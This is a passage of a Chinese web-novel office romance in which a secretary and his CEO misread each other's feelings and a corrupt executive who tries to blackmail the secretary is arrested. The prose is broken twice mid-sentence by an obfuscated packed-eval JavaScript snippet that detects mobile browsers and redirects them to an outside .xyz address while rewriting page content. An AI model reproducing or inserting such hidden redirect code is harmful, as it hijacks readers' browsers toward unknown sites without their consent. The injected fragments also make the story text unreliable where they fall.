一般来说,在盛溱日常行程的三分之二都是开会出差飞国外的情况下,和秘书一起用餐节省时间的情况不在少数,他早就习惯了这样,也觉得理所当然,可这回却莫名的不太自在。 哪里不自在他也说不太明白,就是无法彻底静心,和办公室里半天无法进入状态看文件的时候差不多,注意力总是不自觉地飞到别处去。 他想,以前陈裕青的存在感有那么强吗? 盛溱吃饭间隙觑过去。 对面的青年吃得正香,因为要赶时间,动作不算慢,却不显得难看,吃相很好,透着一股从容。这也是盛溱有那么一点洁癖,却能一直容忍出差在外和对方同桌吃饭的原因。 但看着看着,他发现奇怪的一点。 桌上的菜陈裕青基本都吃,就是旁边的一道清炒芦笋始终不碰,哪怕距离如此近。 相较之下,远处的脆皮叉烧要更受对方青睐,他看见自己的秘书吃得眉眼弯弯。 盛溱观察了一会儿,终于没忍住说了吃饭以来第一句话:“为什么不吃芦笋?” “啊?”陈裕青正吃一碗黑松露牛肉炒饭吃的正香,闻言不假思索,“我不爱吃。” 盛溱愣了一下,一时间不知道说什么,隔了两秒才哦了一声。 “?” 上司的奇怪反应叫一直埋头苦吃的陈裕青终于看了过来。 他吃的头也不抬,除了专心享受美食外,还有不想和上司对视的意思。 依照他的经验,如果对视了,总会多出一些什么不好的事。 但是今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467008|185497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有对视他居然也听到了上司的声音。 难道不吃芦笋踩到了上司什么雷点了吗? 陈裕青忽然警惕。 他其实口味比较偏重,这里的菜系对他来说有些过于清淡了,不过贵有贵的道理,哪怕是比较清淡的菜,在费时费力的基础上味道也差不到哪里去,除了那道清炒芦笋。 实在是太清淡了,在一个重口味的人的眼里,这和芦笋从地里拔出来撒点盐巴直接往嘴里塞有什么区别? 不过这顿饭是上司指定的,对方报销,他不挑。 思及此,陈裕青看了看自己的盘子,又看看那边,还是摸不透上司突然的这话是什么意思。“芦笋怎么了吗?” “......没什么。” 盛溱撇开眼。 “那我继续吃了?” “嗯。” 隔了片刻盛溱忽然道:“精神一直压抑紧绷不利于身体健康,也同样不利于工作,劳逸结合才是正道。有时候出去看看风景,看看世界的广阔,一些想不通的事有可能豁然开朗。” “所以......?”陈裕青试探道。 这和芦笋有什么关系! “需要我给你放几天假好好调理休息一下吗?” 盛溱一脸认真。 他把自己刚才就想说的话婉转表达了出来,希望青年能听懂。 他真的不希望自己好好的下属困于感情,或许出去散散心转换心情,能让对方释然,打消对他的念头呢? 然而事实是陈裕青听得一脸懵。 这种类似心灵鸡汤人生导师的话语,从冷着一张脸工作狂在世的上司嘴里说出来真的特别诡异啊!有那么一瞬间陈裕青都觉得是桌上山菌没炒熟,对方吃中毒了在说胡话。 他一头雾水,谨慎地挑了不出错的话回了过去:“......谢谢盛总,但最近太忙走不开,要不把这些假调到年假去,年假我多休几天?” “......随你。” 盛溱面上看不出,心里却叹了口气。 有时候下属太过认真负责也是一种苦恼。 他垂眼继续吃饭,又过了一会儿,淡淡开口:“下次出差在外一起吃饭的话,这道菜就换成其他的吧。” “哪道?”陈裕青又懵了。 “芦笋。” 怎么又是芦笋。 陈裕青纳闷,芦笋怎么着他了? 他想不通,在猜测内耗和直接问过去中选择了后者:“怎么突然换掉,是这道芦笋有什么问题吗?” 盛溱抬眼:“你不是不爱吃吗。” 男人嗓音淡淡,听不清有什么情绪,若不是说话时瞥了一眼过来,陈裕青都要以为对方是在自言自语。 听着这话,他嘴边的一块牛肉差点掉下来。 老天爷啊,资本家居然长良心了,居然照顾起他的口味了! 但是他怎么感觉这么惊悚呢? 陈裕青不由得小心审视过去,左看右看,左思右想,也没发现这句话里埋的坑。苦恼间他忽然灵机一动,想到曾看过的那个帖子,一切终于浮上水面。怪不得又是批假又是换菜的呢,敢情他是吃到发疯表白的红利了! 啧啧啧。 有便宜不占是王八蛋! 陈裕青答应得飞快:“好的盛总!” 在陈裕青悄悄琢磨自己上司的同时,盛溱也在用一种新奇的目光打量自己秘书。 从前都是公事公办,他竟不知道陈裕青居然还有点挑食。 不爱吃却不曾说出口,是在顾虑他吗? 这份隐忍的感情,果然还是太沉重了...... 两人都互相带着点惊奇的悄悄打量对方,这顿饭就在这种诡异的和谐中继续下去。 10. 第10章 盛溱还是很在意自己的身体健康,饭后开了两场会,就去医院做了体检,三天后,如期去了医院拿片子和体检报告。 “你这个身体状况,很健康啊,没什么大毛病,年轻小伙子正是身强力壮的时候。” 上了年纪的主任医师戴着个眼镜,指着报告给坐在一旁的盛溱看,“非要说的话,那就是最近有点上火,吃点或喝点下火的东西就行了。” 盛溱垂着眼,眉心微蹙:“但我觉得身体不太对劲。” 医生挑眉:“哪儿不对劲?” “......不知道。”盛溱坐得笔直,脑中闪现另一个人的身影,一双冷淡的黑眸中盛满迷茫,“最近总是觉得心神不宁,静不下来,总是想东想西,没办法全心投入到工作中......我觉得是身体出了什么检查不出来的问题。” 医生安静地听着,点了点头。 盛溱见状,问:“你也觉得检查报告出错了?” “没有,”医生回答,“我只是觉得你少检查了一样。” “什么?” “这些是身体上的检查,没什么问题,但妄想症和焦虑症也是病,属于精神心理方面,”医生把报告和片子推过去,语重心长,“我建议你去楼上精神科和心理科看看,或许会得到答案。” 盛溱愣了一下,反应过来后脸一黑,僵硬起身:“不用了。” 与此同时,陈裕青在公司忙得分身乏术。 “陈秘,还有这些。” 陈裕青嗯了一声接过来看。 前几天关于高管韦昌的专项调查小组成立后,就马不停蹄开始运作,对韦昌涉嫌的商业贿赂、职务侵占这方面进行调查取证,同时也受理相应员工举报投诉,双线并行。盛溱把这件事交给了他,调查小组交上来的数据报告,陈裕青都得一一查看并给出相应指令,工作量不小。 组内的人陈裕青选得都是认真负责,雷厉风行的,三天里成果斐然,在彻底惊动韦昌前就已搜集了不少有力证据。 如他之前所料,韦昌确实私底下和腾跃的人有过联系,收了腾跃五百万牵线确保合作能成。除此之外,对方还收了不少其他人的贿赂,主管,经理等,金额林林总总加起来也有个小百万。 其他地方对方可能还有别的灰色收入,不过那些完全可以交由公安机关和检察院细细查证。 光是现在找到的这些,就已经足够将其定罪。 陈裕青很满意这个结果:“报案吧,联系警方,把这些证据提交上去。” 那人答应了一声,匆匆离开。 等办公室没人了安静下来的时候,门口忽然响起一声清亮的口哨。 “忙着呢?” 韩彦探头,引起里头青年注意后笑着走进来。 陈裕青看见来人后也牵起嘴角,专注工作太久,他眉宇间有些许倦色,但很快被明快的笑容压下去,笑眯眯的,看着就令人心情舒畅。“当然了,可忙死我了,不过快结束了。” “给,洗干净的。”陈裕青顺手拿了个红艳艳的苹果抛过去,自己也拿了一个啃了一口,脆甜的滋味让他的疲惫感都消去不少。 韩彦自己寻了个位置坐下,同样是一身灰色的商务西装,但他颈间那条暗红偏紫珠光领带让他显得多少有点烧包。 “这玩意你还没吃腻啊,”韩彦嫌弃手里的苹果,但还是啃啃啃,“你听没听说过苹果是世界上最无聊的水果,也就你天天吃得起劲。” 陈裕青啃着苹果理直气壮:“哪里无聊了,又甜又脆,多好吃啊,我就爱吃,我就要吃。听没听说过一天一苹果,医生远离我?” “行行,你有理。” 陈裕青边啃边睨他:“咱俩的部门隔了十万八千里,平时你不都懒得走这两步吗。” “这不来看看你?听说我们陈秘忙得要死要活,怕你噶工位上。” “......没憋好屁。”陈裕青无语地哼了声,又笑,“是哦,哪像你,重度缺盐的人舔你两口都得去喝水。” 韩彦一愣:“什么意思?” 陈裕青淡淡道:“闲的。” “......我看你这嘴是越来越毒了啊,你舔自己嘴唇两口看是不是能把自己毒死。”韩彦吐槽,“跟着盛溱久了你人也学坏了,再也不是当年那个光风霁月的纯纯校草了,学弟学妹见了都得伤心地回家哭个两天两夜。” 陈裕青听得嘴角抽搐两下,把手边抱枕丢过去:“神经。” 两人说了一会儿口水话,韩彦三两口把手里苹果啃完,“说真的,我来还真不是闲的没事干。” “你最近不是忙着韦昌那事吗,有个奇怪的,他这两天来找过我,说了一些莫名其妙又很奇奇怪怪的话。我当时忙着没在意,后来越想越不对,就来找你问问。” 陈裕青顿了下:“他找你说什么了?” 不是吧这事怎么还牵连上韩彦了? 他知道一旦开始调查清算势必会走漏风声,韩彦知道并不奇怪,只是没想到韦昌还去找过对方。 韩彦回想了一通,脸上表情逐渐变得匪夷所思:“......他先是问我和你关系是不是很好,咱俩大学就认识又不是秘密,我就说很好,然后他就突然笑了,笑得还很奇怪,我看着怪恶心的。接着又说了一堆乱七八糟的,什么办公室恋情,什么某人和某人是同一家公司其中一人是高管,暗中给自己恋人喂资源让那人高升,又什么被发现了很惨什么的。” “莫名其妙给我讲了个故事,笑得很意味深长就走了。” “??” “这都什么跟什么,”陈裕青也迷茫了,不明白韦昌的脑回路,只能对好友说:“那你最近小心点。” 韩彦点头:“我来就是给你说下这个看有没有帮助,你也小心点,毕竟现在是你负责这事。” 陈裕青嗯了声。 “行,爸爸走了,还有一堆实习生要管,说起来爸爸我到底哪里闲了,往大草原上一站比牛还像马。” 韩彦抱怨,陈裕青听见他的自称没好气:“滚吧。” 好友离去后,他短暂休息了下又忙了起来。 终于到了下班时间,陈裕青伸了个懒腰,收拾收拾准备离开。 其实他每天的下班时间都不固定,因为有时还要跟着盛溱去酒局饭局晚宴,项目一繁忙还得加班。今天早是因为盛溱提前打过了招呼,说没什么事他可以早点离开,对方要去医院来着。 能早点下班是好事,陈裕青已经不记得自己上一次五点半准时下班是什么时候了。 他感慨一声,去停车场。 陈裕青拎着车钥匙,艰难地在一堆花花绿绿的车子里辨认属于自己的那辆。他一边回忆自己早上停的位置一边走,终于看到了熟悉的一角,眼睛一亮,却在刚拐了个弯时被人拦下。 “小陈啊。” 来人堵住路,明显来者不善。 陈裕青定睛一看,这人居然是韦昌。 他心底惊讶,按照调查小组的效率,现在应该已经与警方取得联系、警方出动警力寻找对方带走了。没想到韦昌不在家里,也不在公司,居然在扶光的停车场,看这架势,似乎还是专门在等他。 为防打草惊蛇,让韦昌提前察觉并转移走证据,调查小组的行动隐秘又迅速,不过这会儿都到最后一步了,对方发现也正常。 但陈裕青猜测韦昌应该还不清楚调查实际到了那一步,不然也不会还敢出现在这。 他思绪飞快,面上却不显,温和笑笑:“韦总今天不是家里有事请假了吗,这个点怎么还会来公司。” 韦昌哼了声:“别装了。” “我知道你在查我,之前让你不要多管闲事,你居然真的敢。” “你是真的初生牛犊不怕虎,不担心我把你的事抖落出去啊?”他看了看四周,压低声音,威胁,“识相的话就找个由头停止调查,这样还有转圜之地,不然我手上的东西可就要全公司的人都知道了!” “?” 陈裕青听得一头雾水。 他的事?他有什么事? 迷惑间陈裕青忽然记起那天对方到他办公室里暗含威胁,说的那些莫名其妙的话,顿时嘴角一抽。敢情对方是认真的啊。 “韦总指得是哪方面,我不清楚。” 陈裕青是真的不清楚,还有点好奇,韦昌说得究竟是他的什么? 看见青年依旧淡定从容的模样,韦昌恼火中还有一丝不敢置信:“都什么时候你还装?” “不见棺材不落泪,非要我说个明白是吧?行!”韦昌一咬牙,冷笑,指着陈裕青,“你在公司里有相好的,还是进公司前就在一起了,四年里你为他保驾护航的次数不少吧,不知道给他谋了多少私利,不然你相好也不能顺顺利利坐到这个位置。” “??” 陈裕青眼睛微微睁大。 相好?谁?他的吗? 他自己怎么不知道? 看到青年终于变得惊讶的眼神,韦昌自觉抓到对方把柄,安心了,语速也慢了下来,阴阳怪气:“都说陈秘大方脾气好,估计整个扶光都不知道你还有这一面吧?你说盛溱要是知道了会怎样,盛溱可是眼睛里揉不得一点沙子,让他知道,你这个总秘恐怕也做到头咯。” “你要是现在收手,不继续下去,我也当作不知道这事,咱们双赢,如何?” 尝到了私欲的人很难跳出这个漩涡,像是笃定陈裕青会和他同流合污一样,韦昌好整以暇地等着。 等了一会儿,自始至终安静听着的陈裕青开口了,面色依旧平和,语气却透出一丝古怪:“你说我有相好的,是谁?” 韦昌愣了下,没料到对方第一反应是问这个。 “你还真是......” 证据都贴到脸上了还装模作样,他这时候都有点佩服对方的心理素质了。都到这一步也没必要继续藏着掖着,他干净利落地拿出手机,划拉了几下,亮出一张照片,怼到陈裕青脸上。“自己看吧,还要我替你说出你小男友的名字吗,陈秘?” 手机怼得太前,陈裕青下意识后退了一步。 他定睛一看,韩彦。 韦昌手机照片上的人不是别人,正是他那蠢得没边的好友韩彦。 他们下午才刚爸爸爹爹的互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467009|185497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怼一通。 陈裕青面色扭曲一瞬,片刻又释然。 本来他还以为韦昌是碰巧撞见了那晚他对着盛溱发疯表白,以此来要挟他......是韩彦那没事了。 他和盛溱搞到一起的概率都比和韩彦搞到一起的概率大。 “......你怎么不说话?” 韦昌见青年盯着他手机一个劲的看,垂着眼看不出情绪,不承认也不反驳,以为对方是觉得这张照片还不够有力,想当没事人。此时此刻他是真的挺佩服陈裕青这种泰山压于顶而面不改色的心理承受能力,怪不得能在盛溱这种人身边当秘书这么久。 他唰啦唰啦又是几张照片放出来,阴森道:“刚才那些不够,这些够不够直观?” “这张,这张,还有这张,很亲密对吧?实话告诉你,这些我在其他地方都有备份,哪怕你叫我删了也没有用。” 陈裕青耳边传来中年男人的威胁,他则是看着照片挑挑眉。 照片里有的是他和韩彦公司里说话的场面,也有食堂一块吃饭的画面,甚至还有公司之外各种各样的场景,但无一例外的都是偷拍视角。 韦昌洋洋得意:“怎么样,你还有什么好说的?” 陈裕青目光终于从那些照片移开,深棕色眼睛依旧明澈,若不是场合不对,他简直想笑。照片把韩彦拍得好丑,鼻孔好大,有的角度堪称滑稽,对方要是知道肯定得气得跳脚。 他没忍住嘴角翘起一个微小的弧度:“我没有什么想说的,非要说的话,你这属于侵犯他人隐私,也是违法行为,罪加一等了。” 韦昌愣了下:“你!” “现在是说偷拍的时候吗?” 他难以理解,感觉被人耍了,死死盯着陈裕青看,发黄的眼白透出几缕焦虑的红血丝,“我要你赶紧摆平这事!就现在!不管你用什么手段,撤销对我的审查,找个由头把事情揭过,懂吗?不然我就把你中饱私囊的事抖落出去,咱俩一个下场!” 韦昌说完,发现对面站着的青年还是没什么动静,依旧淡定的吓人。那张白皙好看的脸上甚至还勾勒着几丝笑意,深棕色的眸子映着橘紫的余晖,很有公司员工私下偷偷点评的“明媚照人”的意思。 韦昌急了,声色俱厉:“我可要告诉盛溱了?我真告诉盛溱了?” 陈裕青眨眨眼。 “......你行,我现在就告诉盛溱!” 韦昌气得发抖。 他真没想到陈裕青居然能这么犟种! “告诉我什么?” 韦昌刚说完,不远处就传来一道熟悉的冷淡男声。 陈裕青愣了下,扭头,看见下午时跟他说要去医院的盛溱走过来,手上还拿着一袋子什么东西。 对方身高腿长,眨眼就到了跟前,身高极有压迫感,垂眼望向张狂但焦躁的韦昌,面色淡淡,气势骇人,但陈裕青却从对方冷淡的话语里听出来一丝疑惑。 这丝疑惑显然是冲着韦昌刚刚的话。 陈裕青想到了什么,怔了怔,有些犹豫,但最终什么都没说。 “你想对我说什么?” 盛溱看了眼旁边不知道在想什么有一点走神的青年,视线又落向对面神情逐渐变得惊惶的韦昌身上,皱眉。 韦昌也没料到事情会走向这里,他原本打的就是避开盛溱同对方秘书私下接触的主意,为此在两天都没来过公司的情况下,特意打听到了今天下午陈裕青会和盛溱分开,他在停车场堵人。 他知道审查他的负责人是陈裕青,也清楚的知道对方的本事,若是真的想把他摘出去有的是办法,所以才带着东西来威逼利诱。 就是没想到盛溱会在这个时刻出现。 他看旁边青年垂着眼始终没有要为他说话的意思,心中暗恨。 既已到如此地步,他不好过别人也别想好过,韦昌咬牙,指着旁边青年,破罐子破摔中带着一丝痛快:“哈,盛总,你还不知道吧,你的好秘书在你面前装得兢兢业业,实际上背地里给他亲爱的小男友不知道送了多少资源,不然那个叫韩彦的也不会升得这么快......” “不可能。” 韦昌话还没说完就听到这个,差点舌头打结:“什么?” “什么不可能?!” 盛溱表情都没变一分。 “你说的这些,不可能。” 韦昌怀疑自己的耳朵,眼珠子都要瞪出来。 “为什么不可能?怎么就不可能了??” 盛溱听后不假思索:“首先他不会喜欢韩彦。既然不会喜欢韩彦,那后面的这些就都不可能成立了。” 盛溱说完不易察觉地瞥了一眼旁边惊诧的青年。 若他没有经历过陈裕青酒醉表白,他或许会信一分,但经历过,他不会信。 毕竟,陈裕青始终深爱的人,是他。 虽然他并不想承认,但,事实如此。 盛溱垂眸。 韦昌听着这斩钉截铁、不含一丝犹豫的否认,又看看隔壁一脸无辜纯然的陈裕青,气的脸都红了,深呼吸一个接着一个,似乎下一秒就要翻白眼气晕过去。 11. 第11章 中年男人气结语塞发出的“嗬嗬”声在周围回荡,像一台马上就要罢工的老旧风箱,陈裕青也震惊地瞧了一眼盛溱。 怎么回事? 他怎么比我自己还坚定?? 他是因为自己就是当事人所以才这么斩钉截铁,可盛溱又是为什么,难道在他不知道的时候,盛溱已经了解他至此了? 还是说这难道就是传说中感天动地矢志不渝拥有绝对信任的上下级?? 陈裕青不知道,他用一种全新的目光打量了一遍自己的上司。 说实话,在韦昌狗急跳墙要将那莫须有的证据告诉盛溱时,他是有过一点担心的,毕竟人心经不起考验。 就算换个人,在突然被贴脸“告状”时,懵逼的同时肯定也是听进去了的,尤其韦昌还说得那么信誓旦旦。除非这人极度了解他,知道他决不会做出这些事。扪心自问,陈裕青觉得他和盛溱这简单质朴的上下级关系还没到这种程度。 可令他没想到的是,盛溱居然斩钉截铁地选择相信他,没有一丝犹豫! 快到连他反驳的话都没说出来! 这可把陈裕青实实在在给惊到了,惊讶之余,还让他难得生出来一点感动。 ......平时真是错怪对方了。 对方这样信任他,他还天天背后痛骂上司,嘶,这不应该。 决定了,这几天都不在心里悄悄骂盛狗了! “盛溱你仔细看看,你看看这是什么都没有的样子吗?!” 那边韦昌缓过劲来仍旧不死心,从盛溱出现在这后他就预感自己估计不会好了,此时此刻唯一一个念头就是让这两人反目,既能把清高的被他威逼利诱也无动于衷的陈裕青拉下来,又能使盛溱失去左膀右臂。 他咬着后槽牙把先前给陈裕青看过的照片又给盛溱看,“这可都是我费尽千辛万苦搜罗来的,全是真实情况,什么都没有他们这么亲密?什么都没有他们住一块??” 照片怼到眼前,盛溱扫了几眼。 他知道人力部这个叫韩彦的是陈裕青好友,偶尔公司里能看到他们说笑的场面,但不清楚他们感情究竟如何。现在看见照片里两人相携入门或者同桌吃饭的样子,盛溱对他们的感情有了清楚认知,应该是极要好的朋友。 耳朵里传进韦昌怒吼的那句“住一块”,盛溱垂着眼帘心里忽然有点说不清道不明的味道。 好像他都没有被陈裕青邀请过进家门来着,上次醉酒送对方回家是距离最近的一次,不过他甚至没看清对方家门是什么样就离开了...... 思绪一瞬走远,盛溱面上仍旧冷淡。 他把视线从照片上移开,对上韦昌狰狞而期待的连,薄唇吐出没什么感情的话语:“在当事人不知情的情况下偷拍构成违法,拿着照片录像找当事人要好处勒索属于犯罪。” “???” 韦昌听着这熟悉的话睁大眼,“你疯了?” 陈裕青也是一愣,想到什么笑了,眉眼弯弯。 “我没疯。还有,”盛溱抬抬手让远处的保安过来,他在刚下车看见自家秘书被韦昌堵着时就叫司机小王去叫安保了,“加上利用职务谋取便利,金额达数百万,你想好该请什么律师了吗。” “不过请了估计也没什么用,你在扶光待了这么多年,扶光的法务水平你应该心里清楚。” “??” 韦昌不可思议地看看盛溱,又看看陈裕青。 两个癫子!! 他扭头就走,试图跑掉,但从远处围绕过来的保安堵住了他的去路。扶光的保安个顶个的壮硕,韦昌这样被酒色掏空的中年□□本无力抵抗,没两下就被扣住。 盛溱勾了勾唇,看着韦昌不甘心地怒吼,眼底冰冷。陈裕青见状也打电话联系警方,告知对方不用去韦昌家里找人了,直接来公司把人带走即可。 不多时,警车呼啸而来,带走了韦昌。 周围终于清净下来。 留在原地的陈裕青和盛溱对视了一眼,忽然就有些不知道说什么。 沉默片刻后,陈裕青率先开口:“盛总,我和韩彦虽然是好朋友,但他的业绩都是他实打实做出来的。” 虽然盛溱选择无条件相信他,但事关好友的工作,陈裕青觉得还是有必要解释一下,他可不能让韦昌平白污蔑了韩彦这么多年的努力。 “嗯。”盛溱听了这话微微皱眉,不知道在皱什么,“我知道,你不用解释,公司里都有记录。” 陈裕青见他表明态度,放心了,眼底也多出一丝舒心的笑意,甚至还开了个小小的玩笑:“盛总英明神武。” 盛溱又勾勾唇,面庞看着比片刻之前柔和许多。 忽然他想到什么,笑意微微收敛,抿着唇看了一眼陈裕青:“不过......你和他住一块?” “啊?”陈裕青一愣,摆摆手,“没有,那是好久之前韩彦家里水管爆了,有些麻烦,维修需要好几天,就暂时住我家里,修好之后他就回去了。” “这样。” 盛溱点点头。 陈裕青有些惊疑,他怎么感觉从盛溱眼里看见了一点满意? 错觉吧。 既然这时候见到了上司,省的后面麻烦,他就顺便口头汇报了一下关于韦昌的调查情况,他之前发给盛溱的,对方估计还没怎么看。听到陈裕青说起这个,盛溱也严肃起来,两人就这件事谈论了一番。 韦昌的刑事责任是推不掉的,扶光的损失金额或许能追回来不少,凡是这件事的牵涉人员,有一个算一个都会被开除,革除职务后,空缺的岗位安排也是一个问题...... 后续的处理一点也不比追查简单,不过这些就不在陈裕青的职责范围里了,盛溱定下他去办就好。 显然盛溱也没有在停车场就草率定下空缺的主管经理位人选的想法,只简单提了一嘴就带过,然后问出了一个陈裕青意料之外的问题:“除了违法跟踪偷拍录像,韦昌还做过别的什么对你不利的事吗?” “没了吧,”陈裕青思考了下,“他只威胁了这个。” “不过他看我不顺眼倒是真的,背地里说不定还干了别的,谁说得清楚呢,看警方那边的结果吧。” “......不顺眼?”盛溱皱眉,敏锐听出来重点。 “是啊,从很早那会儿就是了。” 陈裕青语气平常,没有遮掩的意思。 “那时他想拉拢我,我没答应,几次没成功后大概就记恨上我了吧,各种使绊子。” 说着说着,可能是先前对方的坚定相信让盛溱的人气味更足了一点,刚才的对话也有点像朋友之间的吐槽聊天,陈裕青就没忍住说了更多。 “还有他这人除了小心眼外还特别喜欢动手动脚,没什么伤害但挺恶心。有一次我在没人的卫生间里揍了他一顿,专挑看不出伤处的地方下手,估计是疼得狠了,后来他就老实了。嗯,应该就是从那时候开始记恨上的。” 陈裕青精准点评:“欺软怕硬的老怂货一个。” 盛溱听着素来矜持温和的秘书头一回在他面前如此言辞激烈地吐槽别人,不免有些新奇,目光不由落在对方鲜活好看的脸上,脑中放空一瞬。可听清对方话语中透露出的意味,他眉头又不受控制地深深皱起。 “那时你怎么不和我说?” 陈裕青不假思索:“这有什么好说的。” 他扭头,看见男人皱眉,黑眸冷冽,明显是有点生气,但又不知道在气什么的样子,不由觉得好笑。他坦然:“我既然当了你的秘书,那肯定会遇到这种事,接受职位调动的那一刻我就已经预见了。” “事实证明我做得很好。” 陈裕青加重语气。 当年扶光内部动荡,盛溱上任后不服的人有很多,盛溱提了他当秘书后,对方遇到的困难他也同样。不过比起盛溱,陈裕青面对的刁难简直是九牛一毛。 那时20出头还略有些青涩的盛溱,日常既要应对刁 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日头更晚了,橘色的晚霞铺满了快整个天际,余晖落在陈裕青深栗的头发上,边缘被照耀得泛着金光,那双棕色的眼睛光线下似乎也更浅了些,变成了琥珀色,和这样一双眼睛对视时会给人一种对方在专注注视你的感觉,暖意融融。 停车场逐渐嘈杂起来,现在是下班时间,盛溱恍然回神,抿了抿唇。 “走吧。” 他转身。 “?”陈裕青疑惑,“去哪?” 盛溱不加思考:“公司。” “......” 这个工作狂。 陈裕青一秒垮掉,礼貌微笑:“我下班了。” 盛溱愣了下,才想起来自己下午时说的话,他点头,“嗯,那你回去吧。” 陈裕青这才好受。 他捏捏手里的车钥匙,注意到对方手里拎着的袋子,那上面印着附近医院的名字,看着好像还挺厚实。看都看见了,陈裕青就含蓄着问了一嘴:“那盛总你这是要回公司,不是有事去医院了吗?” “对。”盛溱回答完前一个问题又回答后一个,“刚回来。” “情况如何呢?” “......挺复杂的。” 盛溱想到他和医生的对话。 陈裕青闻言顿时瞳孔地震。 不是吧?可那袋片子看起来确实挺厚的...... 没想到。对方年纪轻轻的居然就。 好在他只震惊了一瞬就恢复了理智,陈裕青快速在心里过了一下,冷静提出:“盛总需要为您提前准备公关吗,扶光目前的股价及发展情况很稳定,经得住决策者身体不好带来的动荡。” “您还年轻,积极接受治疗的话,未必没有转机。” 盛溱被这番话说的一懵,愣了愣,反应过来后才发现青年指得什么。 他顿时脸一黑,一字一顿:“我、没、病!” 陈裕青眼底带着痛惜和不赞同:“可是盛总,瞒报身体状况不合规矩。” 盛溱深呼吸一口气,“......我真没病。” “真的?” “真的。” “那你说情况很复杂?” 陈裕青质疑。 “......”盛溱扯了扯唇角,他忽然有种搬起石头砸自己脚的感觉,“......复杂的是其他事,不是我的身体,医生说我很健康。” “这样啊。” 陈裕青点头,松了口气的同时,心中又有自己也说不明白的可惜。 哎呀算了算了,看在今天上司是个人的份上,他还是一直健健康康下去吧,健健康康地给他发高薪。 盛溱刚感觉哽在胸口的那口气顺了下去,转眼间注意到了青年眼底那一点不太明显的惋惜,这口气顿时又哽了回来。 他磨牙。 该死,陈裕青不是喜欢他的吗,怎么天天盼着他有病! 12.第12章 时间过得很快,眨眼间就从国庆后到了十一月初。再过几天就是立冬,天气转凉,早晨出门时都能感觉到一股清冽的凉气扑入鼻腔。 陈裕青其实蛮喜欢冬天的,喜欢冬天的氛围,喜欢下雪,如果冬天的早上不用起大早上班那就更好了。 立冬那天,韦昌的审理结果出来了,情节严重,数罪并罚,被判十年有期徒刑,赃款尽数没收,同时因为扶光的法务帮助自家受害员工打了官司,韦昌还被罚了不少钱,用以补偿受害人。 腾跃因为使用不当手段进行商业活动,也被处罚,通告一出,加上继承人是个酒囊饭袋,被遮掩的沉疴尽数浮上水面,股价因此大跌。从外资注入到现在没多少时间,这个老牌企业竟下滑到如此地步,连公司大门都透着一股萧索,令人唏嘘。 扶光的例行早会上,陈裕青垂着眸一边听一边记录。 这次早会除了例行总结工作及规划目标外,还说了下韦昌等人的处理结果,一并开除职务,同时空缺岗位的职员调动等。 身为总秘,陈裕青早就知晓了,并不意外,在没人发现的时候,他用文件掩着,打了个哈欠,双眼一瞬蒙上水雾。 明明昨晚睡得挺早的,但做梦梦见和上司出差外地,上司抠门心疼车费钱,没乘坐任何交通工作仅凭双腿走向目的地,一晚上都在梦里长途跋涉,上司还在旁边阴阳怪气你行不行是不是肾虚...... 累得陈裕青这一晚上跟没睡似的。 他一心二用,听着早会内容的同时,还在琢磨着等会儿回了办公室能不能找个时间补个觉,或者工作早处理一下,午休时多睡一会儿......蓦地,早会到了尾声,就在陈裕青以为要结束了的时候,冷不丁地出现了新内容。 “......注重工作的同时,员工的身心安全同样重要。扶光严厉打击任何包括言语挑逗在内的职场性骚扰行为,经部分员工反馈,行政部雷有为,财务部孙啸等人存在不当行为,已被解雇。” “结合这次事件,人力部和法务部把公司已有的关于性骚扰方面的规章制度再重新完善一下,务必保证投诉渠道透明,调查程序合理,同时定期开展员工相关教育培训。方案做好后尽快交上来。” 男人冷沉的声线在会议室内回响,条理清晰,透着股严肃,听得陈裕青一愣。 这是什么时候搞的,他怎么不知道? 陈裕青朝旁边的盛溱投去一瞥。 察觉到他的视线,说着话的盛溱顿了下,朝他轻轻点了点头,又继续下去,陈裕青不由神色微妙。 散会后,他找到盛溱,试探着问:“盛总,刚刚会上最后那点?” “嗯。”盛总脚步不停,“怎么了?” “......没什么。”陈裕青话在舌尖滚了一圈,最终还是没说出口。 他突然想起那天自己吐槽韦昌时对方生气的表情,以为对方是为自己打抱不平。不过这也只是那一瞬的想法,仔细想想似乎有些自作多情了,真要说出来被盛溱嘲讽的可能性更大。 陈裕青庆幸自己没嘴快。 他的神情被身边人尽收眼底。盛溱瞥了瞥身侧青年,淡声:“我承认是从你的讲述里发现了问题并整改。” “哦,”陈裕青下意识应了,应完感觉不对,骤然抬头,“啊??” 我靠还真是因为他啊?? “有这么惊讶吗?”盛溱似乎笑了下,嘴角一瞬勾起,快得陈裕青以为是自己的错觉,看过去时男人还是唇角平直漠然冷沉的样子。对方扫了他一眼,语气中含着些捉摸不清的意味,“从任何一处小细节里及时发现问题并付诸行动,是每个决策者应该做到的。这点,你应该也清楚。” 陈裕青点点头。 “是这样。” 他松了口气。 吓死了,还以为上司对他有什么想法呢。 果然盛溱还是那个脑子里只有工作的顶级工作狂。 回过神来后,陈裕青细细思索刚刚会上的内容,发现这处整改确实挺好的,尤其是那个定期员工教育培训。能帮助员工认识到问题并以合适的方式应对,加上严格的审查程序和心理疏导,已经是挺完美的一套流程了,他也挑不出什么错。 陈裕青琢磨着......不知道为什么,感觉最近上司越来越有人情味了,他简直都要对对方改观了。 他悄悄觑了一眼盛溱。 也不知道是好处还是坏处。 